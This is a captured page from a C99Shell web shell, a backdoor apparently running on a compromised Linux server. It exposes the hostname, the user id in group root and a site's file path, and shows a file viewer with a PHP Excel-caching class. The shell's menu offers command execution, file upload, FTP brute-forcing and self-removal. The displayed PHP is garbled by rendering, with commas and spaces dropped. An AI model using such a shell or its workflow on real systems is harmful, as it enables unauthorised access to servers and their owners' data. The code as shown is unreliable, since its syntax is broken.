!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maatwebsite/excel/src/Cache/   drwxr-xr-x
Free 28.75 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BatchCache.php (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Cache;

use 
Psr\SimpleCache\CacheInterface;

class 
BatchCache implements CacheInterface
{
    
/**
     * @var CacheInterface
     */
    
protected $cache;

    
/**
     * @var MemoryCache
     */
    
protected $memory;

    
/**
     * @param  CacheInterface  $cache
     * @param  MemoryCache  $memory
     */
    
public function __construct(CacheInterface $cacheMemoryCache $memory)
    {
        
$this->cache  $cache;
        
$this->memory $memory;
    }

    
/**
     * {@inheritdoc}
     */
    
public function get(string $keymixed $default null): mixed
    
{
        if (
$this->memory->has($key)) {
            return 
$this->memory->get($key);
        }

        return 
$this->cache->get($key$default);
    }

    
/**
     * {@inheritdoc}
     */
    
public function set(string $keymixed $valuenull|int|\DateInterval $ttl null): bool
    
{
        
$this->memory->set($key$value$ttl);

        if (
$this->memory->reachedMemoryLimit()) {
            return 
$this->cache->setMultiple($this->memory->flush(), $ttl);
        }

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function delete(string $key): bool
    
{
        if (
$this->memory->has($key)) {
            return 
$this->memory->delete($key);
        }

        return 
$this->cache->delete($key);
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear(): bool
    
{
        
$this->memory->clear();

        return 
$this->cache->clear();
    }

    
/**
     * {@inheritdoc}
     */
    
public function getMultiple(iterable $keysmixed $default null): iterable
    
{
        
// Check if all keys are still in memory
        
$memory              $this->memory->getMultiple($keys$default);
        
$actualItemsInMemory count(array_filter($memory));

        if (
$actualItemsInMemory === count($keys)) {
            return 
$memory;
        }

        
// Get all rows from cache if none is hold in memory.
        
if ($actualItemsInMemory === 0) {
            return 
$this->cache->getMultiple($keys$default);
        }

        
// Add missing values from cache.
        
foreach ($this->cache->getMultiple($keys$default) as $key => $value) {
            if (
null !== $value) {
                
$memory[$key] = $value;
            }
        }

        return 
$memory;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMultiple(iterable $valuesnull|int|\DateInterval $ttl null): bool
    
{
        
$this->memory->setMultiple($values$ttl);

        if (
$this->memory->reachedMemoryLimit()) {
            return 
$this->cache->setMultiple($this->memory->flush(), $ttl);
        }

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function deleteMultiple(iterable $keys): bool
    
{
        
$keys is_array($keys) ? $keys iterator_to_array($keys);

        
$this->memory->deleteMultiple($keys);

        return 
$this->cache->deleteMultiple($keys);
    }

    
/**
     * {@inheritdoc}
     */
    
public function has(string $key): bool
    
{
        if (
$this->memory->has($key)) {
            return 
true;
        }

        return 
$this->cache->has($key);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--